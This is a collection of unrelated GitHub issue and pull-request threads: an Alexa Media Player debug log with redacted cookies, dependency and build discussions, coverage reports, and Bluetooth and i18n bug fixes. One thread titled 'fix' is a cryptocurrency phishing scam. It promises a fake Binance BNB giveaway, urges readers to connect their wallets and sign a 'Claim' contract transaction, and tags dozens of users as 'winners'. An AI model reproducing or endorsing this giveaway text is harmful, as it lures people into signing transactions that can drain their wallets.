2020-04-10 04:05:19 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/devices-v2/device returned 200:OK:application/json
2020-04-10 04:05:19 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/bluetooth?cached=false returned 200:OK:application/json
2020-04-10 04:05:20 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/device-preferences returned 200:OK:application/json
2020-04-10 04:05:20 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/dnd/device-status-list returned 200:OK:application/json
2020-04-10 04:05:21 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/notifications returned 200:OK:application/json
2020-04-10 04:05:21 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Found 6 devices, 6 bluetooth
2020-04-10 04:05:21 DEBUG (MainThread) [custom_components.alexa_media.helpers] alexa_media.async_setup_entry: failure caught due to exception: An exception of type KeyError occurred. Arguments:
('originalTime',)
2020-04-10 04:05:21 DEBUG (MainThread) [custom_components.alexa_media.helpers] alexa_media.async_setup_entry: Try: 1/5 after waiting 0 seconds result: False
2020-04-10 04:05:31 INFO (MainThread) [custom_components.alexa_media]
-------------------------------------------------------------------
alexa_media
Version: 2.5.12
This is a custom component
If you have any issues with this you need to open an issue here:
https://github.com/custom-components/alexa_media_player/issues
-------------------------------------------------------------------

2020-04-10 04:05:31 INFO (MainThread) [custom_components.alexa_media] Loaded alexapy==1.5.2
2020-04-10 04:05:31 ERROR (MainThread) [homeassistant.core] Error doing job: Unclosed client session
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Trying to load pickled cookie from file /config/alexa_media.<redacted>.pickle
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] cookie loaded: <class 'collections.defaultdict'> defaultdict(<class 'http.cookies.SimpleCookie'>, {'amazon.com': <SimpleCookie: at-main='<redacted>' csrf='<redacted>' sess-at-main='<redacted>' session-id='<redacted>' session-id-time='<redacted>' session-token='<redacted>' ubid-main='<redacted>' x-main='<redacted>'>})
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Trying to load aiohttpCookieJar to session
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Updating self._cookies with amazon.com session cookies:
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id-time=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: ubid-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 session-token=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: x-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: at-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 sess-at-main=<redacted>
amazon.com: expires:Wed, 10-Apr-2030 10:48:37 GMT max-age: csrf=<redacted>

2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Loaded 8 cookies
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] GET:
https://alexa.amazon.com/api/bootstrap with
<CIMultiDictProxy('Host': 'alexa.amazon.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': '*', 'Accept-Encoding': 'gzip, deflate', 'Cookie': 'at-main=<redacted>; csrf=<redacted>; sess-at-main="<redacted>"; session-id=<redacted>; session-id-time=<redacted>; session-token="<redacted>"; ubid-main=<redacted>; x-main=<redacted>')>
 returned 200:OK with response <CIMultiDictProxy('Content-Type': 'application/json', 'Content-Length': '144', 'Connection': 'keep-alive', 'Server': 'Server', 'Date': 'Fri, 10 Apr 2020 11:05:31 GMT', 'x-amzn-RequestId': '<redacted>', 'Content-Encoding': 'gzip', 'x-amz-rid': '<redacted>', 'Vary': 'Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent', 'X-Cache': 'Miss from cloudfront', 'Via': '<redacted> (CloudFront)', 'X-Amz-Cf-Pop': '<redacted>', 'X-Amz-Cf-Id': '<redacted>')>
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Logged in as <redacted>
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Using cookies to log in
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Log in successful with cookies
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexalogin] Updating self._cookies with amazon.com session cookies:
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: session-id-time=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: ubid-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 session-token=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: x-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age: at-main=<redacted>
amazon.com: expires:Thu, 05-Apr-2040 10:48:37 GMT max-age:630720000 sess-at-main=<redacted>
amazon.com: expires:Wed, 10-Apr-2030 10:48:37 GMT max-age: csrf=<redacted>

2020-04-10 04:05:31 DEBUG (MainThread) [custom_components.alexa_media] Testing login status: {'login_successful': True}
2020-04-10 04:05:31 DEBUG (MainThread) [custom_components.alexa_media] Setting up Alexa devices for <redacted>
2020-04-10 04:05:31 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Websocket created: <alexapy.alexawebsocket.WebsocketEchoClient object at 0x6e365730>
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexawebsocket] Connecting to wss://dp-gw-na-js.amazon.com/?x-amz-device-type=<redacted>&x-amz-device-serial=<redacted>-<redacted> with {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': '*', 'Referer': 'https://alexa.amazon.com/api/bootstrap', 'Cookie': 'session-id=<redacted>; session-id-time=<redacted>; ubid-main=<redacted>; session-token=<redacted>; x-main=<redacted>; at-main=<redacted>; sess-at-main=<redacted>; csrf=<redacted>; ', 'Origin': 'https://alexa.amazon.com'}
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexawebsocket] Initating Async Handshake.
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexawebsocket] Starting message parsing loop.
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexawebsocket] Received WebSocket: <redacted> {"protocolName":"A:H","parameters":{"AlphaProtocolHandler.supportedEncodings":"GZIP","AlphaProtocolHandler.maxFragmentSize":"16000","AlphaProtocolHandler.receiveWindowSize":"16"}}TUNE
2020-04-10 04:05:31 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding WebSocket Handshake MSG.
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding Gateway Handshake MSG.
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexawebsocket] Received WebSocket: MSG <redacted>9 ACK <redacted> END FABE
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexawebsocket] Received ACK MSG for Registration.
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding Gateway Register MSG.
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexawebsocket] Encoding PING.
2020-04-10 04:05:32 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Websocket succesfully connected
2020-04-10 04:05:32 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/bootstrap returned 200:OK:application/json
2020-04-10 04:05:33 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/devices-v2/device returned 200:OK:application/json
2020-04-10 04:05:33 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/bluetooth?cached=false returned 200:OK:application/json
2020-04-10 04:05:33 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/device-preferences returned 200:OK:application/json
2020-04-10 04:05:34 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/dnd/device-status-list returned 200:OK:application/json
2020-04-10 04:05:34 DEBUG (MainThread) [alexapy.alexaapi] static GET: https://alexa.amazon.com/api/notifications returned 200:OK:application/json
2020-04-10 04:05:34 DEBUG (MainThread) [custom_components.alexa_media] <redacted>: Found 6 devices, 6 bluetooth
2020-04-10 04:05:34 DEBUG (MainThread) [custom_components.alexa_media.helpers] alexa_media.async_setup_entry: failure caught due to exception: An exception of type KeyError occurred. Arguments:
('originalTime',)
2020-04-10 04:05:34 DEBUG (MainThread) [custom_components.alexa_media.helpers] alexa_media.async_setup_entry: Try: 2/5 after waiting 10 seconds result: False
2020-04-10 04:05:54 INFO (MainThread) [custom_components.alexa_media]
-------------------------------------------------------------------
alexa_media
Version: 2.5.12
This is a custom component
If you have any issues with this you need to open an issue here:
https://github.com/custom-components/alexa_media_player/issues
-------------------------------------------------------------------

v2.5.13 resolved my issue.  Thank you for the quick turnaround!


Update to latest ruby-progressbar gem

https://gemnasium.com/ManageIQ/manageiq shows that we are using ~> 0.0.10 vs. 1.7.5
Do we even use this gem??  I recall maybe in the appliance console?

cc @jrafanie @kbrock

I was thinking the same thing while looking at this.
Looks like it is used by tools and rake tasks.

tools/purge_miq_report_results.rb
tools/purge_metrics.rb
tools/purge_orphaned_tag_values.rb
spec/tools/perf_generate.rb # ?
rake evm:dbsync:replicate_backlog

@Fryguy what do you think?  Do we use this gem enough in the referenced locations to warrant upgrading it?

@jrafanie Is the alternative is to remove the gem all together?

Yes, upgrade or remove the dependency

No, the progress bar is really useful / important for the tools, otherwise there's no user feedback otherwise.  Some of these purging scripts can take a really long time.
I am fine with upgrading it given that it doesn't introduce new dependencies.


Can anyone run the code successfully

Dear all,
Does someone successfully install the environment? Can you share with me your version of each third-party library? It looks like there are some libs conflicts when I installed following by the readme files

For someone who wants to implement this code and can't run it successfully. Here is some comments that may help you:

Torch_spline_conv, now has some problems, the repo is still old and not well fit pyg, so if you run the code you may come across_OSError: /lib64/libm.so.6: versionGLIBC_2.27' not found (required by` problems

For your information, you can refer to this link conda list for conda list.

@yuchenlichuck

In fact our code does not need Sharedarray, in order to ensure that you can run successfully, please restart a new conda environment
my gcc version is 7.5.0

Okay Thanks for your generous help, I finally can run the experiments successfully

And my suggestion is installing torch-geometric version that is not that latest, I can run it in 1.7.2 version, it is fine, and don't use conda conda install pyg -c pyg , please use pip install torch-geometric, now I can run it

Thanks for your suggestion. I will modify the readme file.


Fixes Blog/Blob typo

Minor amend, but presumption is that Azure Blob storage was what was meant.

@richsage : Thanks for your contribution! The author, @jmprieur, has been notified to review your proposed change.

Verified editorial correction.


Change llm prompt from json to yaml

Tested for openai llm.  Will test from google palm when that is working for me.

@mattlindsey This is perfect! Much more readable!


Implement redirect to the lobby page after the game end

[x] sopra-fs24-group-09/sopra-fs24-group-09-server#57

efd9b44e79eccd2c4716ccce39be488edc5e8c7d


Allow remote address autodetection when bound to a particular address

When a joining node had a particular listen address specified, but no
advertise address, the listen address was being leaked to the raft layer
instead of using remote autodetection. We should never leak the listen
address, because the advertise address how other hosts should reach the
new node.
If no advertise address is specified, change the address we pass down to
raft to <IP_ADDRESS>:<port>. This triggers the autodetection.
This only applies to "swarm join", since an advertise address is
always passed to Manager.New for "swarm init" (it may be
autodetected).

cc @abronan @mavenugo

[Current coverage][cc-pull] is 54.96% (diff: 100%)

Merging [#1237][cc-pull] into [master][cc-base-branch] will increase coverage by 0.13%

@@             master      #1237   diff @@
==========================================
  Files            77         77
  Lines         12380      12390    +10
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           6788       6810    +22
+ Misses         4657       4643    -14
- Partials        935        937     +2

[][cc-pull]

Powered by Codecov. Last update [ca281c3...72756f8][cc-compare]
[cc-base-branch]: https://codecov.io/gh/docker/swarmkit/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/docker/swarmkit/compare/ca281c3ee06e695d25309087b27641a5bbec99ae...72756f82d6a5065e26c05d65918fa35f23adbb5a?src=pr
[cc-pull]: https://codecov.io/gh/docker/swarmkit/pull/1237?src=pr

LGTM


[on-ramp] Onboarding USDC for carbon purchases

Our app focuses on KLIMA on-ramping. What if the user wants USDC so they can acquire some carbon tokens?
This was an ask from Dionysus

On-ramp workstream will be revisited after wallet abstraction is complete.


Subprocess: reset blocking mode on proc exit. Fix #58

With non-blocking mode there is not possible to know end of data
No unit test on this case due to impossibility of reproduce without real run.

Pull Request Test Coverage Report for Build 167

3 of 3 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build 165:
0.0%

Covered Lines:
940

Relevant Lines:
940

💛  - Coveralls

Works for me, lgtm! :+1:


Question: is there an online course plugin?

If not, how hard is it to hack one together similar to CoursePress for WP?

Hey @azat-co, we use GitHub issues for tracking development (features, bugs) on Ghost. Your question is more suited to our slack community. Please use it for any future questions!
I can go ahead and answer this easy enough though: Ghost doesn't support plugins at this time (beyond a rudimentary prototype, anyways) and so no, there is no online course plugin

no plugins? WAT? ;-(


fix

Binance Exclusive Token Giveaway
Welcome to the exclusive Binance Token Giveaway, where we're distributing over $1,100,000 in $BNB! 🚀 Don't miss out on this incredible opportunity to claim your free tokens. Here's a quick guide to kickstart your journey:

Seize the moment and indulge in your tokens! This limited-time offer won't be available forever. 🌐💰
Steps to Claim:
1. Share the Excitement on Twitter:

Spread the word about claiming your free tokens!

Tweet: Share this Token Drop

2. Connect Your Binance Wallet:

Click on the Connect Wallet button.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

3. Interact with the Contract:

Once your wallet is connected, go to Binance Rewards.
Click on the "Claim" button to interact with the smart contract.

4. Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

5. Share the Excitement Further:

After successfully claiming your tokens, share the news with friends!

Facebook: Share on Facebook

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.

Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @x12hengyu, @SuperCipher, @clasense4, @jeevanpillay, @CyberFork, @besquared, @Xotikos, @Dan-Nolan, @john-dgi-vof-com, @ipostolaki, @dickhfchan, @calebdavenport, @singha200, @penguin-wwy, @bluewitch, @magicxman, @skyline75489, @ymcrcat, @nemani, @Godrichp, @qbig, @gmagno, @taiansu, @webcoderz, @iWhiver, @Ryan-Gordon, @zariye, @Raj725, @MontoyaAndres, @fhk, @codingchili, @serhii73, @jalcine, @rupertbaker, @msasaki666, @Tokai65, @moebg, @daenamkim, @liushooter, @Vloupmon, @Gowee, @bradford-hamilton, @webThreeBuilder, @valentinvichnal, @CoderRx001, @yograterol, @h1994st, @erik-iglikov, @ochilliam, @arrmac


subsys: bluetooth: host: Remove ATT Req from the list after processing

The ATT Request node must be removed from the list after the request has been freed by att_handle_rsp().
By not removing the ATT Req from the list, it will be processed again the ATT Req node in the function att_process(). As the ATT Req buffer and callback have been freed and set to NULL, it will go into an undefined behaviour.
Signed-off-by: Olivier Martin<EMAIL_ADDRESS>

Codecov Report

Merging #11330 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #11330   +/-   ##
=======================================
  Coverage   51.58%   51.58%
=======================================
  Files         216      216
  Lines       27671    27671
  Branches     6938     6938
=======================================
  Hits        14274    14274
  Misses      10648    10648
  Partials     2749     2749

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 84f9dc7...9f5b4ee. Read the comment docs.

Weird I remember testing this one, anyway it has to be removed before it reaches the callback since the application may reuse it in which case we may end up removing it from tail of the list not the head.

@Vudentz are you saying I should move sys_slist_find_and_remove(&att->reqs, &att->req->node) before func(att->chan.chan.conn, err, pdu, len, att->req)?

@Vudentz I have just made the change you requested.

I figure how that was not necessary to remove the req, that is because att_process uses sys_slist_get which should remove the node from the list, so I wonder how it would be still in the list? Or perhaps there is a bug with sys_slist_get, I guess not since there are tests attesting it is able to remove the items from the head.

@Olivier-ProGlove Im starting to suspect the req is being reused while the request is in progress which is not valid.

@Olivier-ProGlove can you verify this with https://github.com/zephyrproject-rtos/zephyr/pull/11435

@Olivier-ProGlove can you verify this with #11435

I will add these ASSERT() into my branch. I will also investigate your suspicion of REQ reusing - but I might need a bit of time as I am working on a high priority issue.

@Olivier-ProGlove no problem, just let me know when you come back to it.

@Olivier-ProGlove I see that your other PR has not been merged. Any updates on this issue?

@joerchan I think there was a valid reason why we did not this PR. And looking at my own branch, I cannot see my PR being part of it not. I will close it for now.


Fixes deserialization from a file

This solves issue #1. I've added two dev dependencies, serde_json, and tempfile to test for deserializing from a file. There are also some changes to the Cargo.lock file. Let me know if you want me to keep these.

Nice patch, thanks for figuring this out!

Looks like a formatting failure. Try cargo fmt.


Support for architectural adjustments in Next v13.4.4

🐛 Bug Report
With the architectural changes in Next v13.4.4, the entry point has been changed from pages/_app.tsx to app/layout.tsx. As a result, next-i18next is no longer functioning properly.
To Reproduce

Create v13.4.4 next repo
Setup next-i18next
i18n not working

Your Environment

node: v16.19.1
next: v13.4.4
i18next: 22.5.0
next-i18next: 13.3.0
react-i18next: 12.3.1

https://github.com/i18next/next-i18next/issues/2158#issuecomment-1556205214